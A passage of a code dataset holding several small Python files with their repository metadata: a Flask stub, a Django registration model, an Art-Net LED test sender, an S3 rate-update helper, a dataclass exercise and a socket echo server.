"name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "eprem.seed.Fitter", "line_number": 122, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.legend.Legend", "line_number": 122, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 138, "usage_type": "name"}, {"api_name": "eprem.seed.Fitter", "line_number": 138, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 138, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 141, "usage_type": "call"}, {"api_name": "eprem.seed.Fitter", "line_number": 148, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 148, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 165, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 167, "usage_type": "attribute"}, {"api_name": "eprem.seed.default_values.keys", "line_number": 197, "usage_type": "call"}, {"api_name": "eprem.seed.default_values", "line_number": 197, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 197, "usage_type": "name"}, {"api_name": "eprem.tools.StoreKeyValuePair", "line_number": 205, "usage_type": "attribute"}, {"api_name": "eprem.tools", "line_number": 205, "usage_type": "name"}, {"api_name": "eprem.tools.StoreKeyValuePair", "line_number": 213, "usage_type": "attribute"}, {"api_name": "eprem.tools", "line_number": 213, "usage_type": "name"}, {"api_name": "eprem.tools.StoreKeyValuePair", "line_number": 221, "usage_type": "attribute"}, {"api_name": "eprem.tools", "line_number": 221, "usage_type": "name"}, {"api_name": "eprem.tools.StoreKeyValuePair", "line_number": 229, "usage_type": "attribute"}, {"api_name": "eprem.tools", "line_number": 229, "usage_type": "name"}]} {"seq_id": "22084638495", "text": "from flask import Flask, request, render_template\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef hello_world():\n return \"Hello,World\"\n\n\n# ログイン機能\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"GET\":\n return render_template(\"login.html\")\n if request.method == \"POST\":\n return \"Log in!\"\n\n\nif __name__ == '__main__':\n hostname = \"127.0.0.1\"\n port = 5001\n app.run(port=5001, debug=True)\n", "repo_name": "mkenji0628/day5_kyoudou", "sub_path": "hello.py", "file_name": "hello.py", "file_ext": "py", "file_size_in_byte": 459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}]} {"seq_id": "39495112044", "text": "import datetime\nimport random\nimport re\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.template.loader import render_to_string\nfrom django.utils.hashcompat import sha_constructor\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.core.mail import send_mail\n\n\nSHA1_RE = re.compile('^[a-f0-9]{40}$')\n\n\nclass RegistrationManager(models.Manager):\n \"\"\"\n Custom manager for the ``RegistrationProfile`` model.\n \n The methods defined here provide shortcuts for account creation\n and activation (including generation and emailing of activation\n keys), and for cleaning out expired/already activated profiles.\n \n \"\"\"\n def activate_user(self, request, activation_key, callback, **kwargs):\n \"\"\"\n Validate an activation key and calls ``callback`` in order to activate\n the corresponding user if valid. ``callback`` default value is a\n callable got from importing ``ACTIVATION_METHOD`` settings string.\n \n If the key is valid, returns ``callback`` result two-tuple: (``User``\n instance, ``None``) on success or (falsy value, errors) on failure.\n \n If the key is invalid (already activated or expired), returns a\n two-tuple (``False``, 'Your activation key is not valid').\n \n To prevent reactivation of an account which has been\n deactivated by site administrators, the activation key is\n reset to the string constant ``RegistrationProfile.ACTIVATED``\n after successful activation.\n\n Args:\n ``activation_key`` SHA1 hash string.\n ``request`` activate view request needed just for passing it to\n ``callback``.\n ``callback`` callable doing the activation process.\n ``kwargs`` extra key arguments for callback.\n Returns:\n Two-tuple containing the new user/account instance and ``None`` on\n success, falsy value and message error on failure.\n \"\"\"\n # Make sure the key we're trying conforms to the pattern of a\n # SHA1 hash; if it doesn't, no point trying to look it up in\n # the database.\n if SHA1_RE.search(activation_key):\n try:\n profile = self.get(activation_key=activation_key)\n except self.model.DoesNotExist:\n return False, _('Your activation key is not valid')\n if not profile.activation_key_invalid():\n account, errors = callback(request, profile, **kwargs)\n if account:\n profile.activation_key = self.model.ACTIVATED\n profile.save()\n return account, errors\n return False, _('Your activation key is not valid')\n\n def create_profile(self, site, email, send_email=True):\n \"\"\"\n Create a ``RegistrationProfile`` for a given email, and return the\n ``RegistrationProfile``.\n \n The activation key for the ``RegistrationProfile`` will be a SHA1 hash,\n generated from a combination of the given email and a random salt.\n\n Args:\n ``site`` current site object, needed for sending activation email\n ``email`` string represeting email for the new profile\n ``send_email`` boolean value which determines whether email will be\n sent or not. Default value is ``True``.\n Returns:\n The new ``RegistrationProfile`` instance.\n \"\"\"\n salt = sha_constructor(str(random.random())).hexdigest()[:5]\n if isinstance(email, unicode):\n email = email.encode('utf-8')\n activation_key = sha_constructor(salt+email).hexdigest()\n profile = self.create(email=email, activation_key=activation_key)\n if profile and send_email:\n profile.send_activation_email(site)\n return profile\n\n @staticmethod\n def delete_expired(queryset=None):\n \"\"\"\n Deletes expired ``RegistrationProfile`` objects based on settings\n ``ACCOUNT_ACTIVATION_DAYS`` and current date.\n\n Args:\n ``queryset`` If a queryset is provided then only profiles in the\n given queryset will be tested, if no value is provided then all\n profiles will be tested. Default value is ``None``.\n \"\"\"\n expiration_date = datetime.timedelta(days=settings.ACCOUNT_ACTIVATION_DAYS)\n if queryset is None:\n queryset = RegistrationProfile.objects.all()\n for profile in queryset:\n if (profile.reg_time + expiration_date) <= datetime.datetime.now():\n profile.delete()\n\n @staticmethod\n def delete_activated(queryset=None):\n \"\"\"\n Deletes already activated ``RegistrationProfile`` objects based on\n activation key and ``ACTIVATED`` value comparison.\n\n Args:\n ``queryset`` If a queryset is provided then only profiles in the\n given queryset will be tested, if no value is provided then all\n profiles will be tested. Default value is ``None``.\n \"\"\"\n if queryset is None:\n queryset = RegistrationProfile.objects.all()\n for profile in queryset:\n if profile.activation_key == RegistrationProfile.ACTIVATED:\n profile.delete()\n\n\nclass RegistrationProfile(models.Model):\n \"\"\"\n A simple profile which stores an activation key and email for use during\n user account registration.\n \n Generally, you will not want to interact directly with instances\n of this model; the provided manager includes methods\n for creating and activating new accounts, as well as for cleaning\n invalid profiles.\n \n While it is possible to use this model as the value of the\n ``AUTH_PROFILE_MODULE`` setting, it's not recommended that you do\n so. This model's sole purpose is to store data temporarily during\n account registration and activation.\n \n \"\"\"\n ACTIVATED = u\"ALREADY_ACTIVATED\"\n \n email = models.EmailField()\n activation_key = models.CharField(_('activation key'), max_length=40)\n reg_time = models.DateTimeField(_('registration time'), auto_now_add=True)\n \n objects = RegistrationManager()\n \n class Meta:\n verbose_name = _('registration profile')\n verbose_name_plural = _('registration profiles')\n \n def __unicode__(self):\n return u\"Registration information for %s\" % self.email\n \n def activation_key_invalid(self):\n \"\"\"\n Determine whether this ``RegistrationProfile``'s activation\n is invalid.\n \n Key expiration is determined by a two-step process:\n \n 1. If the user has already activated, the key will have been\n reset to the string constant ``ACTIVATED``. Re-activating\n is not permitted, and so this method returns ``True`` in\n this case.\n\n 2. Otherwise, the date the user signed up is incremented by\n the number of days specified in the setting\n ``ACCOUNT_ACTIVATION_DAYS`` (which should be the number of\n days after signup during which a user is allowed to\n activate their account); if the result is less than or\n equal to the current date, the key has expired and this\n method returns ``True``.\n\n Returns:\n Boolean value.\n \"\"\"\n return self.activation_key_already_activated() or \\\n self.activation_key_expired() or False\n activation_key_invalid.boolean = True\n\n def activation_key_already_activated(self):\n \"\"\"\n Determines whether this ``RegistrationProfile``'s activation key has\n been activated.\n\n Returns:\n Boolean value.\n \"\"\"\n return self.activation_key == self.ACTIVATED\n activation_key_already_activated.boolean = True\n\n def activation_key_expired(self):\n \"\"\"\n Determines whether this ``RegistrationProfile``'s activation key has\n expired.\n\n Returns:\n Boolean value.\n \"\"\"\n expiration_date = datetime.timedelta(days=settings.ACCOUNT_ACTIVATION_DAYS)\n return (self.reg_time + expiration_date) <= datetime.datetime.now()\n activation_key_expired.boolean = True\n\n def send_activation_email(self, site):\n \"\"\"\n Send an activation email to the user associated with this\n ``RegistrationProfile``.\n \n The activation email will make use of two templates:\n\n ``registration/activation_email_subject.txt``\n This template will be used for the subject line of the\n email. Because it is used as the subject line of an email,\n this template's output **must** be only a single line of\n text; output longer than one line will be forcibly joined\n into only a single line.\n\n ``registration/activation_email.txt``\n This template will be used for the body of the email.\n\n These templates will each receive the following context\n variables:\n\n ``activation_key``\n The activation key for the new account.\n\n ``expiration_days``\n The number of days remaining during which the account may\n be activated.\n\n ``site``\n An object representing the site on which the user\n registered; depending on whether ``django.contrib.sites``\n is installed, this may be an instance of either\n ``django.contrib.sites.models.Site`` (if the sites\n application is installed) or\n ``django.contrib.sites.models.RequestSite`` (if\n not). Consult the documentation for the Django sites\n framework for details regarding these objects' interfaces.\n\n Args:\n ``site`` the above explained ``site``\n \"\"\"\n email_type = getattr(settings, 'REGISTRATION_EMAIL_TYPE', 'TEXT')\n ctx_dict = getattr(settings, 'REGISTRATION_EMAIL_CTXT', {}).copy()\n\n ctx_dict.update({'activation_key': self.activation_key,\n 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS,\n 'site': site})\n\n subject = render_to_string('registration/activation_email_subject.txt',\n ctx_dict)\n # Email subject *must not* contain newlines\n subject = ''.join(subject.splitlines())\n\n if email_type.upper() == \"HTML\":\n return self._sent_tml_email(subject, ctx_dict)\n elif email_type.upper() == \"MULTI\":\n return self._send_multi_email(subject, ctx_dict)\n\n \n message = render_to_string('registration/activation_email.txt',\n ctx_dict)\n\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [self.email])\n\n def _send_html_email(self, subject, context):\n message = render_to_string('registration/activation_email.html',\n context)\n\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [self.email])\n\n def _send_multi_email(self, subject, context):\n text_content = render_to_string('registration/activation_email.txt',\n context)\n html_content = render_to_string('registration/activation_email.html',\n context)\n msg = EmailMultiAlternatives(subject,\n text_content,\n settings.DEFAULT_FROM_EMAIL,\n [self.email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n", "repo_name": "rafaduran/django-pluggable-registration", "sub_path": "registration/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 11723, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models.Manager", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 60, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 67, "usage_type": "call"}, {"api_name": "django.utils.hashcompat.sha_constructor", "line_number": 85, "usage_type": "call"}, {"api_name": "random.random", "line_number": 85, "usage_type": "call"}, {"api_name": "django.utils.hashcompat.sha_constructor", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 105, "usage_type": "call"}, {"api_name": "django.conf.settings.ACCOUNT_ACTIVATION_DAYS", "line_number": 105, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 105, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 130, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 130, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 148, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 148, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 149, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 149, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 149, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 150, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 150, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 150, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 155, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 156, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 207, "usage_type": "call"}, {"api_name": "django.conf.settings.ACCOUNT_ACTIVATION_DAYS", "line_number": 207, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 207, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 208, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 251, "usage_type": "argument"}, {"api_name": "django.conf.settings", "line_number": 252, "usage_type": "argument"}, {"api_name": "django.conf.settings.ACCOUNT_ACTIVATION_DAYS", "line_number": 255, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 255, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 258, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 269, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 272, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 272, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 272, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 275, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 278, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 278, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 278, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 281, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 283, "usage_type": "call"}, {"api_name": "django.core.mail.EmailMultiAlternatives", "line_number": 285, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 287, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 287, "usage_type": "name"}]} {"seq_id": "5208361090", "text": "from dataclasses import dataclass\n\n\n@dataclass\nclass Cup:\n size: int\n quantity: int\n\n def status(self):\n space = self.size - self.quantity\n return space\n\n # methods within a class can refer to each other\n def fill(self, litres):\n if self.status() > 0:\n self.quantity += litres\n return self.quantity\n\n\ncup = Cup(100, 50)\nprint(cup.status())\ncup.fill(50)\ncup.fill(10)\nprint(cup.status())", "repo_name": "ateneva/softuni_proj", "sub_path": "3_OOP/01_defining_classes/ex_04_cup_dataclass.py", "file_name": "ex_04_cup_dataclass.py", "file_ext": "py", "file_size_in_byte": 439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dataclasses.dataclass", "line_number": 4, "usage_type": "name"}]} {"seq_id": "70141913852", "text": "#!/usr/bin/env python3\n# coding=utf-8\n\nimport socket\nimport struct\nimport time\nimport netifaces\nimport zlib\nimport threading\nimport colorsys\nimport argparse\nimport random\nimport fnmatch\n\nimport winreg as wr\n\ndef hsv2rgb(h,s,v):\n return tuple(round(i * 255) for i in colorsys.hsv_to_rgb(h/360.,s/100.,v/100.))\n\ndef send(msg, port, baddr, saddr):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # t = threading.Thread(target=recv, args=(sock,))\n # t.daemon = True\n # t.start()\n\n sock.sendto(msg, (saddr, port))\n\n\ndef get_connection_name_from_guid(iface_guids):\n iface_names = ['(unknown)' for i in range(len(iface_guids))]\n reg = wr.ConnectRegistry(None, wr.HKEY_LOCAL_MACHINE)\n reg_key = wr.OpenKey(reg, r'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Network\\\\{4d36e972-e325-11ce-bfc1-08002be10318}')\n for i in range(len(iface_guids)):\n try:\n reg_subkey = wr.OpenKey(reg_key, iface_guids[i] + r'\\\\Connection')\n iface_names[i] = wr.QueryValueEx(reg_subkey, 'Name')[0]\n except FileNotFoundError:\n pass\n return iface_names\n\ndef get_driver_name_from_guid(iface_guids):\n iface_names = ['(unknown)' for i in range(len(iface_guids))]\n reg = wr.ConnectRegistry(None, wr.HKEY_LOCAL_MACHINE)\n reg_key = wr.OpenKey(reg, r'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\{4d36e972-e325-11ce-bfc1-08002be10318}')\n for i in range(wr.QueryInfoKey(reg_key)[0]):\n subkey_name = wr.EnumKey(reg_key, i)\n try:\n reg_subkey = wr.OpenKey(reg_key, subkey_name)\n guid = wr.QueryValueEx(reg_subkey, 'NetCfgInstanceId')[0]\n try:\n idx = iface_guids.index(guid)\n iface_names[idx] = wr.QueryValueEx(reg_subkey, 'DriverDesc')[0]\n except ValueError:\n pass\n except FileNotFoundError:\n pass\n except PermissionError:\n pass\n return iface_names\n\ndef get_addr(pattern):\n ifs = netifaces.interfaces()\n devs = get_driver_name_from_guid(ifs)\n cons = get_connection_name_from_guid(ifs)\n ifs_w = zip(ifs, devs, cons)\n\n for ifw in ifs_w:\n if_addrs = netifaces.ifaddresses(ifw[0])\n if netifaces.AF_INET in if_addrs:\n for if_addr in if_addrs[netifaces.AF_INET]:\n if len(fnmatch.filter(ifw, pattern)) > 0 or fnmatch.fnmatch(if_addr['addr'], pattern):\n return if_addr['addr'], if_addr['broadcast'] if 'broadcast' in if_addr else if_addr['addr']\n\ndef print_networks():\n ifs = netifaces.interfaces()\n devs = get_driver_name_from_guid(ifs)\n cons = get_connection_name_from_guid(ifs)\n ifs_w = zip(ifs, devs, cons)\n\n for ifw in ifs_w:\n if_addrs = netifaces.ifaddresses(ifw[0])\n if netifaces.AF_INET in if_addrs:\n print(f\"Interface: {ifw[2]}\\nUID: {ifw[0]}\\nAdapter name: {ifw[1]}\")\n for if_addr in if_addrs[netifaces.AF_INET]:\n print(f\" Address: {if_addr['addr']}\")\n print(\"\")\n\ndef str2col(s):\n if s[0] == \"#\":\n s = s[1:]\n col_n = int(s, 16)\n col_b = col_n.to_bytes(4, byteorder='big')\n return col_b[1:]\n\n\nif __name__ == \"__main__\":\n # screw it, too many arguments, time for argparse\n parser = argparse.ArgumentParser(description='cat artnet packages')\n parser.add_argument('-s', '--shift', help=\"art net shift\", default=0, type=int)\n parser.add_argument('-n', '--number', help=\"diodes number\", default=34, type=int)\n parser.add_argument('-u', '--universe', help=\"universe\", default=1, type=int)\n parser.add_argument('-d', '--delay', help=\"delay\", type=float, default=-1)\n parser.add_argument('-N', '--network', help=\"IP address beginning of destination network\", default=\"192.*\")\n parser.add_argument('-A', '--address', help=\"IP address of destination\", default=\"\")\n parser.add_argument('-P', '--port', help=\"art-net port\", default=6454, type=int)\n parser.add_argument('-t', '--type', help=\"test type\",\n choices=['default', 'full_range', \"rainbow\", \"chain\", \"chain_reversed\"], default=\"default\")\n parser.add_argument('--rainbow_delay', help=\"delay in the rainbow params, in ms, will be rounded to ticks\",\n type=int, default=0x50)\n parser.add_argument('--rainbow_time_step', help=\"increment in hue in each time step\",\n type=int, default=1)\n parser.add_argument('--rainbow_length_step', help=\"increment in hue in each length step\",\n type=int, default=1)\n parser.add_argument('--rainbow_start_color', help=\"color of 1st pixel at the T=0\", default=\"#880000\")\n parser.add_argument('--rainbow_tint_color', help=\"color of tint\", default=\"#000000\")\n parser.add_argument('--rainbow_tint_value', help=\"tint weight col_final = col (255-tint_value) + tint_col * tint_value\",\n default=0, type=int)\n parser.add_argument('--rainbow_tint_hsv', help=\"use hsv tint equation\", action='store_true')\n args = parser.parse_args()\n\n if args.address != \"\":\n \taddr_out, bc_out = args.address, args.address\n else:\n \taddr_out, bc_out = get_addr(args.network)\n print(addr_out, bc_out)\n\n delay = args.delay\n if delay <= 0:\n if args.type == \"rainbow\":\n delay = 5\n elif args.type.startswith(\"chain\"):\n delay = .4\n else:\n delay = 1/20.\n\n rainbow_id = random.randint(1,255)\n\n i=0\n led_len = args.number\n inc = max(1, 360/led_len)\n while True:\n i+=1\n buf_pl = b\"\\x00\" * (args.shift)\n if args.type == \"rainbow\":\n # |RBW|ID |Delay |T step |L step |start color|tint color |tint value|tint type\n buf_pl += b\"\\x03\"+\\\n rainbow_id.to_bytes(1, byteorder='little')+\\\n args.rainbow_delay.to_bytes(2, byteorder='big')+\\\n args.rainbow_time_step.to_bytes(2, byteorder='big')+\\\n args.rainbow_length_step.to_bytes(2, byteorder='big')+\\\n str2col(args.rainbow_start_color)+\\\n str2col(args.rainbow_tint_color)+\\\n args.rainbow_tint_value.to_bytes(1, byteorder='little')+\\\n (b\"\\xff\" if args.rainbow_tint_hsv else b\"\\x00\")\n elif args.type.startswith(\"chain\"):\n buf_pl += b\"\\x02\" if args.type == \"chain_reversed\" else b\"\\x01\"\n buf_pl += bytes(hsv2rgb(random.randint(0, 359),100,50))\n else:\n buf_pl += b\"\\x00\" # Straight DMX\n for l in range(0, led_len):\n buf_pl += bytes(hsv2rgb(\n (i + (l*inc))%360,\n 100 if args.type == \"default\" or i%240 > 120 else 0,\n 50 if args.type == \"default\" else abs(i%120 - 60)/0.6))\n buf_pl += b\"\\x00\" * (512 - len(buf_pl))\n # |marker |opcode |proto |seq|phy|univ |len |payload (512 bytes)\n buf = b\"Art-Net\\x00\\x00\\x50\\x00\\x0e\\x00\\x00\"+args.universe.to_bytes(2, byteorder='little')+b\"\\x02\\x00\" + \\\n buf_pl\n send(buf, args.port, addr_out, bc_out)\n time.sleep(delay)\n\n# buf = b'\\xa4l\\xf1[\\xed\\xde\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00' # \\x08\\xf1\\x88l\n# buf += socket.htonl(zlib.crc32(buf, 0xCA7ADDED)).to_bytes(4,'little')\n# print(buf)\n", "repo_name": "complynx/artnet2ws2812", "sub_path": "testing/send_artnet.py", "file_name": "send_artnet.py", "file_ext": "py", "file_size_in_byte": 7365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "colorsys.hsv_to_rgb", "line_number": 18, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 21, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 21, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 22, "usage_type": "attribute"}, {"api_name": "socket.SO_BROADCAST", "line_number": 22, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 23, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 23, "usage_type": "attribute"}, {"api_name": "winreg.ConnectRegistry", "line_number": 34, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 34, "usage_type": "attribute"}, {"api_name": "winreg.OpenKey", "line_number": 35, "usage_type": "call"}, {"api_name": "winreg.OpenKey", "line_number": 38, "usage_type": "call"}, {"api_name": "winreg.QueryValueEx", "line_number": 39, "usage_type": "call"}, {"api_name": "winreg.ConnectRegistry", "line_number": 46, "usage_type": "call"}, {"api_name": "winreg.HKEY_LOCAL_MACHINE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "winreg.OpenKey", "line_number": 47, "usage_type": "call"}, {"api_name": "winreg.QueryInfoKey", "line_number": 48, "usage_type": "call"}, {"api_name": "winreg.EnumKey", "line_number": 49, "usage_type": "call"}, {"api_name": "winreg.OpenKey", "line_number": 51, "usage_type": "call"}, {"api_name": "winreg.QueryValueEx", "line_number": 52, "usage_type": "call"}, {"api_name": "winreg.QueryValueEx", "line_number": 55, "usage_type": "call"}, {"api_name": "netifaces.interfaces", "line_number": 65, "usage_type": "call"}, {"api_name": "netifaces.ifaddresses", "line_number": 71, "usage_type": "call"}, {"api_name": "netifaces.AF_INET", "line_number": 72, "usage_type": "attribute"}, {"api_name": "netifaces.AF_INET", "line_number": 73, "usage_type": "attribute"}, {"api_name": "fnmatch.filter", "line_number": 74, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 74, "usage_type": "call"}, {"api_name": "netifaces.interfaces", "line_number": 78, "usage_type": "call"}, {"api_name": "netifaces.ifaddresses", "line_number": 84, "usage_type": "call"}, {"api_name": "netifaces.AF_INET", "line_number": 85, "usage_type": "attribute"}, {"api_name": "netifaces.AF_INET", "line_number": 87, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 101, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 139, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 160, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 173, "usage_type": "call"}]} {"seq_id": "10500309169", "text": "import pandas as pd\nfrom s3_service import get_file\nfrom s3_service import load_data\nfrom datetime import datetime\nimport io\n\n\ndef update_data():\n column_name: str = f\"{datetime.today().date()}\"\n rates_data: io.StringIO = get_file(\"data.csv\")\n rate_today: io.StringIO = get_file()\n\n rates_data_df = None\n rate_today_df: pd.DataFrame = pd.read_csv(rate_today, index_col=0, header=0)\n\n if rates_data is None:\n rates_data_df = pd.DataFrame(rate_today_df.rename(columns={'rates': column_name}))\n else:\n rates_data_df = pd.read_csv(rates_data, index_col=0, header=0)\n rates_data_df[column_name] = rate_today_df['rates']\n\n load_data(\n rates_data_df,\n add_index=True,\n key=\"data.csv\"\n )\n", "repo_name": "micael-jerry/donnee_2_projet", "sub_path": "airflow/dags/data_update_service.py", "file_name": "data_update_service.py", "file_ext": "py", "file_size_in_byte": 749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.today", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "s3_service.get_file", "line_number": 10, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "s3_service.get_file", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "s3_service.load_data", "line_number": 22, "usage_type": "call"}]} {"seq_id": "23811252368", "text": "import socket\nimport multiprocessing as mp \n\n\ndef handle_connection(connection, address):\n while True:\n data = connection.recv(1024)\n if data:\n print('Data received:', data)\n connection.sendall(data)\n else:\n print('No more data from', address)\n connection.close()\n break\n\ndef create_echo_server():\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n sock.bind(('localhost', 8000))\n sock.listen(1)\n try:\n while True:\n connection, address = sock.accept()\n print('Connection from', address)\n process = mp.Process(target=handle_connection, args=(connection, address))\n process.start()\n \n except KeyboardInterrupt:\n print('Shutting down...')\n sock.close()\n\nif __name__ == '__main__':\n create_echo_server()", "repo_name": "tkuye/cmput-404-lab2", "sub_path": "echo_server.py", "file_name": "echo_server.py", "file_ext": "py", "file_size_in_byte": 943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": 